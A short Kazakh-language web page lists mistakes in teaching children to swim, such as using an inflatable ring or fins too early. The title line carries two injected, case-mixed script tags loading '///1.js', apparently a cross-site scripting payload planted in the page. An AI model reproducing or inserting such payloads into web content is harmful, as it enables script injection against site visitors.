Жүзу сабағы кезіндегі қателіктер<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

24.06.2020

* Резина дөңгелекті балаға кигізу.

Дөңгелек денені суда дұрыс ұстауға мүмкіндік бермейді. Дөңгелектің ішінде бала тік ілініп тұрады, ал суда баланың денесі көлденең күйде болуы тиіс.

* Аяққа ласт кигізу. 

Әрине ластытың көмегімен жүзу жеңіл болғанымен, жүзу үйренудің басында аяқпен соғу техникасын бұзады. Дұрыс техника: судың ішіндегі соққы аяқтың ұшы созылған күйде жамбастан басталуы тиіс. 

Просмотров: 754


Пікір қосу



Деректерді қолтаңбаға қосу